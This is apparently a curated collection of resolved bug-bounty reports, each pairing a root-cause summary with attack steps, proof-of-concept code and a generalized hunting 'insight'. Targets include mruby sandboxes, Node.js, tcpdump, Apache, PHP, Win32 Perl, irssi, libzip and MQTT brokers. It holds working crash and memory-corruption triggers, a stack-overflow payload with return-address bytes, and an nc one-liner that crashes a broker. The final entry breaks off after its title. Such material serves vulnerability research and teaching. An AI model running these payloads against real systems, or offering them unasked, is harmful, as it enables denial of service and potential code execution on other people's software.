Insight β When you can run untrusted code in an embedded interpreter (Shopify Scripts, template sandboxes), attack the trust the runtime places in mutable global constants: redefine core classes/methods so C code that assumes a fixed layout dereferences the wrong struct. Grep the engine for runtime constant lookups used by C allocators.
Real-world example
mruby null-pointer deref by undefining a core method (method_missing)
β High
Specimen #181695 Β· shopify-scripts Β· awarded Β· 7 votes Β· resolved
Program shopify-scriptsSurface other
Root cause
Some VM paths (__send__/mrb_funcall_with_block, OP_SUPER) look up method_missing and use the result without the null-check that OP_SEND has; removing BasicObject#method_missing makes the search return null, which is then dereferenced via MRB_PROC_CFUNC_P.
Method
- Remove the fallback method: BasicObject.remove_method(:method_missing)
- Trigger a missing-method dispatch via __send__ or super
- p (method proc) is null and gets dereferenced -> segfault
BasicObject.remove_method(:method_missing)
1.__send__(:foo)
# also via OP_SUPER:
class A
def foo; super; end
end
A.new.foo
Insight β In a scriptable sandbox, remove/undefine the runtime's own fallback hooks (method_missing, respond_to_missing, coerce) and then trigger the path that assumes they exist. Inconsistent null-checking across dispatch opcodes is a recurring embedded-VM bug.
Real-world example
Integer underflow on size==0 -> unbounded write (Node N-API strings)
β High
Specimen #784186 Β· nodejs Β· USD 250 Β· 7 votes Β· resolved
Program nodejsSurface otherChain bufsize==0 -> size_t underflow -> full attacker-contro
Root cause
napi_get_value_string_{latin1,utf8,utf16} write min(string_length, bufsize-1) bytes with bufsize an unsigned size_t; when bufsize==0, bufsize-1 underflows to SIZE_MAX so the entire (attacker-controlled) string is copied to buf, and a trailing NUL is written at buf[copied] regardless.
Method
- Find/write a native addon that calls napi_get_value_string_* with a valid non-NULL buf but bufsize 0 (e.g. from malloc(0) which need not return NULL).
- Pass a long JS string as the value.
- size_t underflow copies the whole string past the buffer -> stack smash / heap overflow.
// native addon
char buf[1];
napi_get_value_string_latin1(env, info[0], buf, 0, nullptr); // bufsize=0
// JS: binding.test('this could be code that might later be executed');
// => *** stack smashing detected *** / controlled OOB write
Insight β Audit any size math of the form min(len, size-1) where size is unsigned: size==0 underflows to a huge value. malloc(0) returning non-NULL on some platforms makes this reachable in real addons. Attacker-controlled string content = attacker-chosen bytes written OOB (up to RCE).
Real-world example
Protocol dissector OOB read via crafted pcap (AFL+ASAN tcpdump)
β High
Specimen #802846 Β· ibb Β· awarded Β· 7 votes Β· resolved
Program ibbSurface networkChain crafted packet/pcap -> dissector trusts length field ->
Root cause
tcpdump print routines (vtp_print, rt6_print, bittok2str_internal) print packet payload without validating field lengths against the captured snap length, so a crafted packet drives fn_printzp/loops past the buffer end -> OOB read/overflow.
Method
- Build tcpdump with afl-gcc + AFL_USE_ASAN=1; seed with sample pcaps.
- Fuzz the protocol dissectors; ASAN flags heap-buffer-overflow in a print function.
- Minimize to a small crafted pcap (e.g. VTP over LLC/SNAP) reproducing the OOB read.
CC=afl-gcc AFL_USE_ASAN=1 make -j
tcpdump -nvr crafted.pcap # e.g. VTP: vtp_print (print-vtp.c:262) -> fn_printzp OOB read
# Variants: rt6_print IPv6 routing header (268804), bittok2str_internal (800324)
Insight β Packet dissectors that trust in-packet length/count fields instead of the actual captured length are a template OOB class. Standard method: compile the parser with AFL + ASAN, feed pcaps, and every 'length taken from the packet' becomes a candidate over-read. Applies to any parser of attacker-controlled wire formats.
Real-world example
GC marks attacker-controlled fake object pointer
β High
Specimen #208363 Β· shopify-scripts Β· awarded Β· 6 votes Β· resolved
Program shopify-scriptsSurface otherChain type confusion -> controlled pointer deref in GC -> po
Root cause
A crafted script places attacker-controlled data where the GC expects a live RBasic object pointer; mrb_gc_mark dereferences it (is_white(obj) -> read obj->flags), giving a controlled-pointer read that can be steered toward code execution.
Method
- Run fuzzed script that builds a hash/array whose contents get treated as object pointers
- Trigger incremental GC (allocation pressure, e.g. str_dup)
- gc_mark_children -> mrb_gc_mark dereferences the fake pointer
- SIGSEGV with RAX = attacker bytes (0x4b563330305c3035 = ASCII-controlled)
{:r=>["h1MuXist", "kenea", "mini[g", "\377\377\365"]} # fuzzer-minimised trigger; see attached mrb_gc_mark.rb
Insight β In managed runtimes, look for places where user data can be confused with an internal object header/pointer. A controlled value reaching the GC mark routine (movzbl 0x1(%rax)) is a controlled dereference - stronger than a plain NULL deref and often escalatable to RCE.
Real-world example
Stale pointers after buffer realloc (UAF/OOB) + int-size overflow in mod_sed
β High
Specimen #1511619 Β· ibb Β· awarded Β· 6 votes Β· resolved
Program ibbSurface webChain realloc invalidation -> UAF/OOB read+write -> possible
Root cause
Apache mod_sed (sed1.c) grows linebuf/genbuf via realloc during substitution but dosub() does not update step_vars->loc1/loc2, which keep pointing into the freed old linebuf; place() then computes n=al2-al1 across two different allocations and memcpy's a bogus/negative length -> read/write beyond bounds. Companion bugs: int spendsize / int sz overflow when payload > 0x80000000 -> undersized buffer and write 0x80000000 bytes before the allocation (CVE-2022-23943).
Method
- Configure an InputSed 's///' filter that expands input (e.g. s/0/zzzzzz/g)
- POST a large body so linebuf grows/reallocs mid-substitution
- dosub()->place() uses stale loc1/loc2 into the old buffer -> OOB memcpy
- Variant: POST >0x80000000 bytes so grow_buffer's int spendsize goes negative and *spend lands 0x80000000 bytes before the new buffer -> attacker-controlled WBB
POST /bug17h/postform.htm HTTP/1.1
Host: 127.0.0.1
Content-Type: application/x-www-form-urlencoded
Content-Length: 2147491840
Connection: close
t1=000...(>0x80000000 bytes of '0', with 'Attack code and data!' near the tail)
# httpd.conf: InputSed "s/0/zzzzzz/g" (expansion factor drives the realloc path)
Insight β After any realloc(), every cached pointer or pointer-derived value into the old buffer is dangling - update them or recompute from the new base. Two red flags to grep: pointers saved before a grow/realloc and used after; and `int`/`unsigned int` used for sizes/offsets that can exceed 0x7FFFFFFF on 64-bit. Same stale-pointer-after-realloc UAF also seen in mruby codegen (#295680).
Real-world example
size_t->int truncation creates negative-length ZVAL (PHP htmlspecialchars)
β High
Specimen #140865 Β· ibb Β· awarded Β· 6 votes Β· resolved
Program ibbSurface other
Root cause
php_html_entities() computes an output length as size_t new_len but returns it via RETVAL_STRINGL() which casts the length to signed int; a >2GB output truncates to a negative int, producing a corrupted string-typed ZVAL whose subsequent use (string concat, hashing, many builtins) triggers heap integer overflow and memory corruption.
Method
- Call htmlspecialchars/htmlentities on input large enough that the escaped output exceeds INT_MAX (each & -> & multiplies length)
- The returned zval carries a negative Z_STRLEN, i.e. a corrupted string
- Feed the corrupted string into any function that computes length+length or reallocs by length (md5, date, concat, hash_init, ...) to trigger the overflow
<?php
ini_set('memory_limit', -1);
$str = htmlspecialchars(str_repeat('&', 0xffffffff/5));
md5($str);
?>
Insight β In C-based interpreters, any place that widens then re-narrows a length (size_t computed, int stored) is an integer-truncation sink. A single such truncation poisons the value object and every downstream length-arithmetic operation inherits the corruption. Real-world reachable wherever an app runs htmlspecialchars/htmlentities on large user input (e.g. Phabricator).
Real-world example
Fuzzing an embedded interpreter sandbox to native crash (mruby type-confusion/null-deref)
β High
Specimen #182027 Β· shopify-scripts Β· awarded Β· 5 votes Β· resolved
Program shopify-scriptsSurface otherChain native crash of sandbox eval thread -> DoS; potential memTag file-upload
Root cause
Shopify Scripts runs untrusted merchant Ruby in an mruby-engine sandbox; many mruby C functions cast an mrb_value straight to an internal pointer (RString*, RRange*, RArray*) without validating its type/immediateness, so crafted Ruby yields wild-pointer reads -> SIGSEGV and DoS of the eval host thread.
Method
- Fuzz the embedded interpreter with grammatically valid but odd Ruby (go/afl/radamsa, mutate corpus).
- Minimize each crasher and locate the C sink from the backtrace.
- Confirm the root cause is a missing MRB_TT_* type check before an internal pointer cast/deref.
- Assess whether the read/written address is attacker-influenced (write-what-where potential vs pure DoS).
# mrb_ary_splice type confusion (#182027)
t0me=methods
t0me[0,0]=t0me
# invalid RString cast -> mrb_str_modify (#183231): fuzzed heredoc/proc soup
# null-ptr concat (#192734):
a=String.new
a.concat(a)
# vm.c null derefs (#196386 / #210429):
a,a,a,a=0,def e
end
a[]
0.instance_eval { super() }
Insight β Sandboxed script engines (mruby, Lua, JS, WASM hosts) are memory-safety attack surface: fuzz the language, not the data. Missing type/immediate checks before pointer casts are the recurring root cause; even 'just DoS' crashes may hide controllable write-what-where.
Real-world example
Fuzzing the Shopify Scripts mruby sandbox: interpreter memory-corruption via crafted Ruby
β High
Specimen #183239 Β· shopify-scripts Β· awarded Β· 5 votes Β· resolved
Program shopify-scriptsSurface otherChain script memory corruption -> host-process heap/GC corruptiTag file-upload
Root cause
A server-side scripting sandbox (Shopify's mruby-engine, an embedded mruby VM) executes untrusted Ruby. Interpreter bugs -- GC mark of freed/invalid objects, integer-overflowed array splice sizes, double frees, type confusion, use-after-cipop stack reads -- are reachable purely from script input and corrupt the host process's heap.
Method
- Enumerate the sandboxed language surface (mruby core: Array, Proc, String, GC, method_missing, boxing)
- Feed pathological scripts: huge array indices, redefined core methods, removed :to_s, self-referential/recursive constructs, GC pressure
- Run the target binary under gdb/ASan (bin/sandbox script.rb) and watch for SIGSEGV/heap abort with a controllable fault address
- Minimize the crashing script and inspect the register controlling the bad address to gauge exploitability beyond DoS
# GC invalid memory access (mark_tbl), #183239
t0me=%
Array.new(9){t0me.empty?s=Array.new(9){%{}*0
s=Array.dup.new(23)
Array(0)}
Array(0..6)}
# integer-overflow heap overflow in mrb_ary_splice, #192362
ary = Array.new(1023)
ary[0x7ffffffffffffc00,0] = Array.new(1024)
# UAF/crash via redefining a core method then copying, #185794 / #184857
NilClass.remove_method :to_s; nil.to_s
Insight β Any feature that runs user-supplied code in an embedded interpreter (mruby/Lua/JS/WASM 'scripts', formula engines, template sandboxes) is a memory-corruption attack surface, not just a logic sandbox. Attack the interpreter's own C internals (GC, array/string growth with integer overflow, method redefinition, type confusion) rather than trying to escape via language features.
Real-world example
Perl $ENV key stack buffer overflow to RCE (CGI header reachable)
β High
Specimen #272497 Β· ibb Β· awarded Β· 5 votes Β· resolved
Program ibbSurface webChain long HTTP header -> CGI $ENV key -> stack overflow -&gTag webhook
Root cause
CPerlHost::Add (win32/perlhost.h) copies an environment key into a fixed char szBuffer[1024] with an unbounded loop and no length check on the key. On Win32 Perl (Strawberry/ActiveState, built without stack canaries/ASLR) a long $ENV key overflows the stack and overwrites the return address.
Method
- Reach $ENV key population with attacker-controlled length -- e.g. a CGI-BIN script where custom HTTP request headers become environment variables
- Set a $ENV key longer than 1024 bytes to overflow szBuffer
- Place a return address / gadget chain at the overwrite offset (no canary/ASLR) to gain control
# crash
$ENV{"A" x 0x1000} = 0;
# control-flow (Win32, targets perl526! addresses)
$chars = "\x41\x41\x41\x41"."\x78\x6e\x3b\x6e"."\x43\x43\x43\x43"."\x4e\x1d\x1e\x03"."\x45\x45\x45\x45"."\x46\x46\x46\x46"."\x47\x47\x47\x47"."\x30\x2c\x3a\x6e";
$ENV{$chars x ((0x400+0x4*0x10)/length $chars)} = 0;
Insight β Environment variables are attacker-controlled in CGI (custom HTTP headers map to env vars). Any fixed-size stack copy of an env key/value on a binary without canaries/ASLR is a straight overflow-to-RCE. When testing legacy CGI stacks, fuzz header names/values with over-long strings.
Real-world example
PHP GD imagecolormatch() heap OOB write via attacker-controlled colorsTotal
β High
Specimen #478368 Β· ibb Β· awarded Β· 5 votes Β· resolved
Program ibbSurface webChain image upload -> GD imagecolormatch OOB write -> memoryTag file-upload
Root cause
gdImageColorMatch() sizes its accumulator buffer from im2->colorsTotal (buf = 5*colorsTotal*sizeof(long)) but indexes it by pixel color value (bp = buf + color*5) where color can be up to 255. A second image with only 1 palette color yields a 40-byte buffer while writes reach offset ~1275, giving a controlled heap out-of-bounds write.
Method
- Create/upload two images where the palette image (im2) has very few colors but pixels set to a high color index
- Call imagecolormatch($img1, $img2)
- Writes at buf + color*5 exceed the undersized buffer -> OOB heap write with attacker-influenced data
$img1 = imagecreatetruecolor(0xfff, 0xfff);
$img2 = imagecreate(0xfff, 0xfff);
imagecolorallocate($img2, 0, 0, 0);
imagesetpixel($img2, 0, 0, 255);
imagecolormatch($img1, $img2);
Insight β When a buffer is sized from one attacker-controlled quantity (palette count) but indexed by a different attacker-controlled quantity (pixel value), the two can be desynchronized to force OOB. Any server-side image processing (GD/ImageMagick) reachable via upload is a memory-corruption surface, not just an XSS/SSRF one.
Real-world example
Irssi IRC-client use-after-free driven by malicious server responses
β High
Specimen #247028 Β· ibb Β· awarded Β· 5 votes Β· resolved
Program ibbSurface otherTag webhook
Root cause
A malicious IRC server can drive Irssi's nicklist/channel destroy path so that nicklist_remove_hash() iterates a hash whose entries were freed when the channel was destroyed during JOIN handling, giving a heap use-after-free in the client.
Method
- Stand up (or MITM) a malicious IRC server the client connects to
- Send a sequence that destroys a channel mid-JOIN then references its nicklist (e.g. crafted JOIN + WHO/WHOIS ordering)
- Client dereferences freed nicklist entries -> UAF (ASan heap-use-after-free)
CAP LS
NICK root
USER root root /dev/stdin :root
MODE +i
WHOIS root
WHO +00000000000000000000o00
Insight β Client-side parsers of server-controlled protocol data (IRC, and by analogy any client that trusts remote responses) are memory-corruption surfaces. Fuzz the server->client direction with malformed/racing state-changing messages (JOIN/DESTROY/WHO) to find UAFs.
Real-world example
Crashing embedded mruby sandboxes with crafted Ruby (codegen/VM memory-safety bugs)
β High
Specimen #181828 Β· shopify-scripts Β· USD 10000 Β· 4 votes Β· resolved
Program shopify-scriptsSurface other
Root cause
An unsafe MOVE+JMPNOT peephole optimization in mruby's code generator elides a register MOVE when a NODE_OP_ASGN is nested inside a NODE_CALL, so a call receives a non-closure lambda RProc whose env is NULL; the VM then dereferences m->env->stack[0] (vm.c) and segfaults, crashing the sandbox and the parent MRI process.
Method
- Get code execution inside an mruby sandbox (Shopify Scripts / any embedded mruby)
- Submit a tiny crafted Ruby program that triggers a codegen or VM edge case
- Interpreter segfaults/aborts, taking down the worker (DoS); some variants are OOB read/write with corruption potential
# null-ptr deref via peephole opt (this report)
def method
yield
end
method(&a &&= 0)
# variants seen in the cluster:
# 197723: a = String.new; a[0]; GC.start(); a.upcase! -> mrb_str_modify NULL write
# 205884: $b="B"*2048; $b[0x40,0x7fffffff] -> str_substr int overflow OOB
# 191328: sprintf("%1$*c", 0) -> mrb_str_format bad access
Insight β Embedded scripting engines (mruby, Lua, JS isolates) that run untrusted code are a rich memory-safety attack surface: a crash of the interpreter is a DoS of the host service, and OOB read/write variants can escalate toward RCE/sandbox escape. Fuzz the interpreter (AFL/libFuzzer + ASan) with grammar-aware Ruby; focus on codegen peephole passes, format strings (%*), substring/index bounds math, GC interaction, and *-splat arg handling.
Real-world example
tcpdump packet-parser heap over-reads (crafted packet/pcap)
β High
Specimen #268806 Β· ibb Β· awarded Β· 4 votes Β· resolved
Program ibbSurface other
Root cause
Multiple tcpdump <4.9.2 protocol printers read past the captured-packet buffer because they trust length/option fields without checking against the snapshot end: IPv6 mobility (mobility_print, CVE-2017-13009), BEEP (l_strnstart, CVE-2017-13010), ICMPv6 nodeinfo (icmp6_nodeinfo_print, CVE-2017-13041). Reachable via crafted .pcap or crafted packets on a monitored segment.
Method
- Craft a packet/pcap exercising the target protocol printer with truncated/oversized length fields
- Run tcpdump -r file (or capture live)
- The printer reads beyond the packet buffer -> ASAN heap-buffer-overflow READ
./tcpdump -n -r crafted.pcap # AFL-generated crash inputs per protocol (mobility/BEEP/ICMPv6)
Insight β Network sniffers/dissectors are a huge over-read surface: every protocol printer that reads a length/option then dereferences must be bounds-checked against snapend. AFL over a pcap corpus finds these en masse; delivery can be remote if the tool sniffs untrusted traffic.
Real-world example
Fuzzing tcpdump protocol printers -> remote buffer over-reads
β High
Specimen #802863 Β· ibb Β· awarded Β· 4 votes Β· resolved
Program ibbSurface networkChain crafted packet on wire or in .pcap -> printer reads past
Root cause
tcpdump protocol printers read multi-byte fields (EXTRACT_32BITS etc.) from packet buffers without validating remaining caplen, causing heap buffer over-reads on truncated/crafted packets; reachable via a crafted .pcap or via live packets on the wire (CVE-2017-13050 and siblings).
Method
- Build tcpdump with afl-gcc and AFL_USE_ASAN=1 (libpcap installed)
- Fuzz with mutated pcaps as seeds
- Minimize the crashing input
- Replay: tcpdump -nvr crash.pcap (or the fuller -e -vvvv -H -u -nn -r) and observe ASAN heap-buffer-overflow in the printer / EXTRACT_*BITS
CC=afl-gcc AFL_USE_ASAN=1 make -j
tcpdump -e -vvvv -H -u -nn -r crash.pcap
Insight β Network dissectors are remote attack surface: fuzz them under ASAN. The recurring root cause is EXTRACT_*BITS or pointer walks without a ND_TCHECK/caplen guard, and the identical class recurs across every protocol printer (802.11, DCCP, MPTCP, RPKI-RTR...).
Real-world example
mruby sandbox escape via partially-constructed native objects
β High
Specimen #184661 Β· shopify-scripts Β· 8000 Β· 3 votes Β· resolved
Program shopify-scriptsSurface other
Root cause
In an embedded mruby sandbox, native-backed methods (Time#initialize_copy) operate on an object's internal C struct assuming initialize() ran; overriding initialize to a no-op yields a live object with a NULL/garbage struct, so the copy/inspect path dereferences uninitialized memory and crashes the host.
Method
- Override the native class's initialize with an empty method
- Instantiate two objects with new (constructor now a no-op)
- Invoke a native method that assumes a fully constructed struct (initialize_copy, dup, inspect)
class Time
def initialize
end
end
a = Time.new
b = Time.new
a.initialize_copy b
Insight β Against any script sandbox exposing native-backed classes, attack the object lifecycle: override initialize, or call new on classes that should forbid it (Symbol/TrueClass/NilClass), then call native methods (inspect/dup/initialize_copy) that trust a C struct that was never initialized.
Real-world example
Unvalidated char->index (DriveIndex) OOB into fixed table (Perl VDir)
β High
Specimen #110352 Β· ibb Β· awarded Β· 3 votes Β· resolved
Program ibbSurface other
Root cause
Perl's VDir::MapPathA/W compute an array index from a path character via DriveIndex ((chr|0x20)-'a') without range validation, then index the fixed-size dirTableA[] with attacker-controlled input -> out-of-bounds read (and write ptr[0]='A'+index), potentially reaching code execution.
Method
- Supply a relative path whose leading byte maps outside the valid drive range
- MapPathA calls DriveIndex(*pInName) unbounded
- GetDirA indexes dirTableA[index] out of bounds
# path whose first byte yields an out-of-range DriveIndex, e.g. a non-letter drive char before ':'
Insight β Any char->index mapping (drive letters, opcode dispatch tables, charset maps) that skips a range check is an OOB primitive; audit `table[func(userbyte)]` patterns for missing 0..N bounds.
Real-world example
Router CGI stack overflow: memcpy of POST line into char[512]
β High
Specimen #74025 Β· ui Β· awarded Β· 3 votes Β· resolved
Program uiSurface other
Root cause
The AirMax web CGI copies a request line into a fixed char line[512] with memcpy(line, ptr, length) where length is the distance to the next CRLF, with no bounds check; a POST line longer than 512 bytes overflows the stack buffer.
Method
- Send a POST to /login.cgi
- Make a line (before \r\n) longer than 512 bytes
- ub_process_content memcpys it into line[512], smashing the stack
POST /login.cgi HTTP/1.1
Host: 127.0.0.1:8081
<AAAA... more than 512 bytes with no CRLF ...>\r\n
Insight β Embedded/router CGIs written in C routinely memcpy/strcpy request-derived lines into fixed stack buffers. Send over-long header/body lines and look for fixed `char buf[N]` + memcpy(buf, req, len) with len from the request.
Real-world example
Packet-parser OOB read in tcpdump printers via crafted pcap (ASan)
β High
Specimen #202960 Β· ibb Β· awarded Β· 3 votes Β· resolved
Program ibbSurface other
Root cause
tcpdump protocol printers read fixed-size fields (EXTRACT_16BITS etc.) from a packet buffer without re-checking the caplen/remaining length after prior advances, so a truncated/crafted packet drives a read one or more bytes past the malloc'd capture buffer.
Method
- Build tcpdump+libpcap with `-fsanitize=address`.
- Craft a malformed capture file for the target link-type (raw IPv6 here; PPPoE/PPP in 268808).
- Run `tcpdump -nr crafted.pcap` and watch ASan report heap-buffer-overflow READ.
- Locate the missing ND_TCHECK/length guard before the field extraction and submit upstream fix.
# ip6_print OOB (CVE-2017-5204):
tcpdump -nr crafted_ip6.pcap
# handle_mlppp EXTRACT_16BITS over-read (CVE-2017-13038, #268808):
tcpdump -nr crafted_pppoe.pcap
# READ of size 1/2 at 0 bytes to the right of malloc'd caplen buffer
Insight β Protocol dissectors that print variable layers are a rich OOB-read surface: mutate captured pcaps (radamsa/afl) per link-type, run under ASan, and each missing bounds check before an EXTRACT_*/dereference is a CVE. The primitive generalizes to any length-prefixed binary format printer.
Real-world example
Embedded-interpreter fuzzing: stack realloc UAF in mruby VM
β High
Specimen #206109 Β· shopify-scripts Β· awarded Β· 3 votes Β· resolved
Program shopify-scriptsSurface other
Root cause
mruby caches a pointer into the VM value stack across a call that can `mrb_realloc` (grow) that stack; after reallocation the cached pointer dangles and the VM writes through it (heap UAF). Reachable purely from attacker-supplied Ruby script.
Method
- Compile mruby/mirb with AddressSanitizer (and afl-gcc for coverage).
- Fuzz with malformed/edge-case Ruby scripts (deep recursion, method_missing loops, huge literals).
- Trigger deep NoMethodError/method_missing recursion so cipush reallocs the stack mid-funcall.
- ASan reports heap-use-after-free WRITE in mrb_vm_exec on the freed stack region.
class NoMethodError < NameError
def initialize(message=nil, name=nil, args=nil)
@args = ar super message,&name
end
end
# also: `mirb < afl_case` -> heap OOB read in mrb_vm_exec (#221251);
# long pasted line -> stack overflow in mirb main last_code_line (#219870)
Insight β Language runtimes embedded as a sandbox (mruby, Lua, JS engines) are high-value memory-corruption targets because untrusted script IS the input. Fuzz them under afl+ASan; watch for cached stack/reg pointers that survive across any allocation-triggering call - realloc of a growable stack is a classic UAF source.
Real-world example
Missing arg-count bound overflows fixed fiber stack (mruby Fiber.transfer)
β High
Specimen #227762 Β· shopify-scripts Β· awarded Β· 3 votes Β· resolved
Program shopify-scriptsSurface other
Root cause
A newly-created Fiber's stack is allocated at fixed FIBER_STACK_INIT_SIZE (64); fiber_switch copies all caller-supplied arguments into it when status==MRB_FIBER_CREATED without checking `len` against the stack size, so passing >=64 args overflows the fiber stack.
Method
- Create a fresh Fiber (status MRB_FIBER_CREATED).
- Call .transfer with 64+ arguments.
- fiber_switch copies len args into the 64-slot stack -> heap overflow.
Fiber.new{}.transfer(0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,
0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,
0,0,0,0,0,0,0,0,0,0,0,0,0,0,0)
# fix: if (len >= FIBER_STACK_INIT_SIZE) mrb_raise(E_FIBER_ERROR, "too many arguments to fiber");
Insight β Any API that copies a caller-controlled count of items into a fixed-size initial buffer needs a bound check on that count. When a runtime lazily allocates a small default stack/buffer for an object, look for the first operation that fills it from user input without resizing.
Real-world example
Malicious-server fuzzing of a client: irssi NULL-deref via IRC numeric
β High
Specimen #247027 Β· ibb Β· none Β· 3 votes Β· resolved
Program ibbSurface other
Root cause
irssi passes a possibly-NULL field from a server IRC message (TOPIC info time) into my_asctime -> strlen(NULL), because the numeric event handler doesn't validate that all expected parameters are present.
Method
- Point an irssi build (ASan) at an attacker-controlled IRC server.
- Have the server send a malformed numeric (event_topic_info) missing a parameter.
- strlen dereferences NULL in my_asctime -> SIGSEGV.
CAP LS
NICK root
USER root root /dev/stdin :root
# server then emits a crafted 333/topic-info numeric missing the time field
Insight β Clients that connect out (IRC/IMAP/MQTT/HTTP clients) trust server responses far less carefully than servers vet clients. Stand up a hostile server and fuzz the response side; missing-parameter and NULL-field paths in protocol event handlers are common crash sources.
Real-world example
Archive-parser double-free/UAF in libzip central-directory read
β High
Specimen #260414 Β· ibb Β· none Β· 3 votes Β· resolved
Program ibbSurface otherTag file-upload
Root cause
_zip_dirent_read frees an internal buffer on an error path and a subsequent cleanup frees/reads it again (double free -> UAF) when parsing a crafted zip central directory.
Method
- Build libzip with ASan (zipcmp/zip_open harness).
- Craft a zip whose central directory entry triggers the _zip_dirent_read error path.
- _zip_buffer_free runs twice on the same region -> heap-use-after-free.
zipcmp crafted.zip other.zip
# ASan: heap-use-after-free READ in _zip_buffer_free (zip_buffer.c:53),
# freed by same _zip_buffer_free via _zip_dirent_read (double free)
Insight β libzip is embedded in a huge dependency surface (PHP zip ext, MySQL Workbench, PDF/eReader apps, VeraCrypt, OpenRCT2...). One archive-parser UAF reaches all of them - prioritize widely-embedded file-format libraries and fuzz their error/cleanup paths where the same pointer is freed on multiple exits.
Real-world example
GarlicRust: unchecked length field forwards leaked heap (heartbleed-style)
β High
Specimen #295740 Β· ibb Β· none Β· 3 votes Β· resolved
Program ibbSurface networkChain length over-read -> heap info leak -> deanonymization
Root cause
i2pd/kovri HandleGarlicPayload reads an I2NP message length from the attacker's garlic clove and builds+forwards a new message of that declared length before validating it against the actual buffer length, so the outbound message includes adjacent heap memory (up to ~16KB) that is delivered to the attacker's node.
Method
- Send a specially crafted Garlic message with delivery type eGarlicDeliveryTypeTunnel.
- Set the embedded I2NP GetI2NPMessageLength larger than the real clove payload.
- Router calls CreateI2NPMessage(buf, GetI2NPMessageLength(buf)) and SendTunnelDataMsg BEFORE the too-long check.
- Receive the forwarded message containing leaked heap (session/private keys, old messages).
// vulnerable: clove length used to build outbound msg before bounds check
auto msg = CreateI2NPMessage(buf, kovri::core::GetI2NPMessageLength(buf), from);
tunnel->SendTunnelDataMsg(gateway_hash, gateway_tunnel, msg);
// ... later, too late:
if (buf - buf1 > (int)len) { LOG(error)<<"clove is too long"; break; }
Insight β The heartbleed pattern - trust a length field, act on it, validate afterward - is the canonical over-read info leak. Audit any message forwarder/echo that copies `declared_length` bytes: the bounds check must precede the copy/send, not follow it. This variant is a purely logical over-read (no memory error, no crash), so it is silent and infinitely repeatable.
Real-world example
Uninitialized Buffer via new Buffer(number) from typed input (Node.js)
β High
Specimen #320269 Β· nodejs-ecosystem Β· none Β· 3 votes Β· resolved
Program nodejs-ecosystemSurface other
Root cause
On Node <=8/6 `new Buffer(n)` with a numeric argument allocates n bytes of uninitialized heap without zeroing. Modules pass user-controlled values straight to the Buffer constructor; when a number (e.g. from JSON) reaches a field expected to be a string, an uninitialized buffer is created and its raw heap contents are base64-encoded and exposed (or persisted to disk).
Method
- Find a sink that does new Buffer(input) / Buffer(input) where input can be attacker-typed.
- Pass a number instead of a string (trivial via JSON body: {"password":200}).
- The uninitialized buffer's heap bytes are serialized (base64) back to the user or written to a config file.
- Large numbers additionally cause huge allocations -> DoS.
require('npmconf').load({}, (e,conf)=>{
conf.setCredentialsByURI('https://reg.example/', {username:'foo', password:200});
console.log(conf.getCredentialsByURI('https://reg.example/'));
// conf.save('user',()=>{}) writes base64 of uninitialized memory to .npmrc
});
// same primitive: require('utile').base64.encode(200) (#321701)
Insight β On any Node code path reachable with legacy Buffer, missing typeof-string checks before Buffer()/Buffer.allocUnsafe leaks heap memory. Fuzz JSON-fed string params with numbers; a number where a string is expected is the tell for uninitialized-memory disclosure or large-allocation DoS.
Real-world example
TLS state-machine fuzzing: out-of-order handshake -> Node segfault
β High
Specimen #335495 Β· nodejs Β· none Β· 3 votes Β· resolved
Program nodejsSurface other
Root cause
Node's TLS wrapper segfaults when handshake records arrive out of order - interleaved handshake messages, or a handshake message (e.g. ClientKeyExchange) sent AFTER the Finished message - because the state machine mishandles unexpected record sequencing (heap corruption/DoS).
Method
- Stand up a Node TLS server (server-auth or mutual-auth).
- Complete a normal handshake but inject a Client Key Exchange record after the handshake Finished.
- Observe segmentation fault of the Node process (DoS).
# no exploit binary in-corpus (shared privately with Node team)
# repro: normal TLS handshake, then send an extra ClientKeyExchange AFTER Finished -> SIGSEGV
Insight β Protocol state machines (TLS, HTTP/2, QUIC) crash on record orderings the happy-path code never expects. Fuzz by reordering/duplicating/injecting messages around state transitions (especially post-Finished) rather than mutating field bytes - the sequencing is the input.
Real-world example
Malformed MQTT Subscribe over-read crashes brokers (mqtt-packet)
β High
Specimen #541354 Β· nodejs-ecosystem Β· none Β· 3 votes Β· resolved
Program nodejs-ecosystemSurface otherTag webhook
Root cause
mqtt-packet (via the bl/BufferList decoder) reads topic/length fields of a SUBSCRIBE packet beyond the actual buffer, throwing a RangeError that is uncaught and crashes MQTT brokers (mosca, aedes). Packets can be accumulated so the malformed SUBSCRIBE is processed with auth bypassed - no credentials required.
Method
- Start a mosca or aedes broker (uses mqtt-packet).
- Send a raw TCP byte string containing an accumulated CONNECT + malformed SUBSCRIBE.
- Decoder over-reads on the bad length -> RangeError -> unhandled -> broker crash (DoS).
echo -ne '\x104\x00\x04MQTT\x04\xc2\x00\xff\x00\x19alicedoesnotneedaclientid\x00\x05alice\x00\x06secret\x82\x19\xa5\xa6\x00\x15hello/topic/of/alice\x00' | nc localhost 1883
Insight β Binary protocol decoders that trust an internal length/remaining-bytes field over-read on truncated packets. For IoT/message brokers, fuzz the packet decoder unauthenticated and note packet-accumulation quirks that let a later packet be processed before auth completes.
Real-world example
Apache mod_http2 UAF on HTTP/2 early push (pool memory overwrite)
β High
Specimen #677557 Β· ibb Β· awarded Β· 3 votes Β· resolved
Program ibbSurface other
Root cause
With H2Push/H2EarlyHints enabled, mod_http2 overwrites memory in the pushing request's pool with the configured push Link-header values, leading to use-after-free/pool corruption when handling concurrent HTTP/2 traffic (CVE-2019-10081).
Method
- Build httpd with ASan and MaxMemFree 1; enable H2Push On, H2EarlyHints, H2PushResource.
- Drive the server with http2fuzz (many streams, varied response sizes/frequencies).
- Observe ASan SEGV where the faulting address is an ASCII string (0x44415445 == 'DATE', 'bPPUSP') - a tell that header/pool string data was written over a freed/foreign region.
# httpd.conf supplement
H2Push On
H2EarlyHints On
MaxMemFree 1
<Location />
H2PushResource /xxx2.css
H2PushResource /
</Location>
# fuzz: http2fuzz against it under ASan
Insight β When an ASan/crash faulting address decodes to printable ASCII, the corruption is almost certainly a string/buffer written into wrong (freed) memory - use it to pivot from crash to root cause. HTTP/2 server-push and early-hints paths are under-fuzzed pool-lifetime surfaces; MaxMemFree 1 makes UAFs deterministic under ASan.
Real-world example
ImageMagick TIFF quantum-import heap OOB read
β High
Specimen #1047086 Β· ibb Β· awarded Β· 3 votes Β· resolved
Program ibbSurface otherTag file-upload
Root cause
